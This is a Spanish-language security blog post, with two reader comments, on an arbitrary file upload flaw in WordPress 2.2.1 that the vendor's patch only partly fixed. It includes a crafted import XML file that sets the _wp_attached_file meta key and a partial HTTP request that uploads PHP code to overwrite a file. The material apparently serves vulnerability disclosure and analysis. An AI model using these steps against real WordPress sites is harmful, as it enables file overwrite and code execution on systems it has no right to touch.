Como había comentado en la primera parte, la versión 2.2.1 de WordPress sólo arregla parte del problema reportado, esto se debe a que el parche utilizado sólo evita que se añada o actualice el valor de _wp_attached_file
en la edición de entradas y páginas (ver la función add_meta
en wp-admin/admin-functions.php
).
Sin embargo, si esta vez utilizamos la funcionalidad para importar entradas desde otro blog con WordPress, podemos ingresar valores arbitrarios para _wp_attached_file
. Por ejemplo el siguiente archivo XML está especialmente preparado para hacer eso:
<channel>
<item>
<title>Exploit</title>
<link>http://localhost/wp/?attachment_id=49</link>
<pubDate>Sun, 24 Jun 2007 03:23:06 +0000</pubDate>
<dc:creator>admin</dc:creator>
<wp:post_id>49</wp:post_id>
<wp:post_name>exploit</wp:post_name>
<wp:status>inherit</wp:status>
<wp:post_type>attachment</wp:post_type>
<wp:postmeta>
<wp:meta_key>_wp_attached_file</wp:meta_key>
</wp:postmeta>
<wp:postmeta>
<wp:meta_key>_wp_attachment_metadata</wp:meta_key>
<wp:meta_value>a:0:{}</wp:meta_value>
</wp:postmeta>
</item>
</channel>
</rss>
Una vez que se haya importado esa entrada, el proceso para sobrescribir el archivo es el mismo que en el anterior caso:
Cookie: auth cookies
Content-Type: image/gif
Host: vulnerable.com
Content-Length: the content length
<?php echo "Hello World"; ?>
Se agregó otro parche para intentar solucionar este problema en wp-app.php
, el cual valida el archivo que se va a leer (función get_file
) o sobreescribir (función put_file
).
2 replies on “WordPress: Arbitrary File Upload – Parte 2”
Osea no entendí muy bien el fallo ¿ podemos inyectar código arbitrario en la petición HTTP ?
El 2do código es una Petición HTTP ¿no?
Saludos!
Se puede subir cualquier cosa a través de esa petición HTTP, siempre y cuando
_wp_attached_file
tenga un valor adecuado.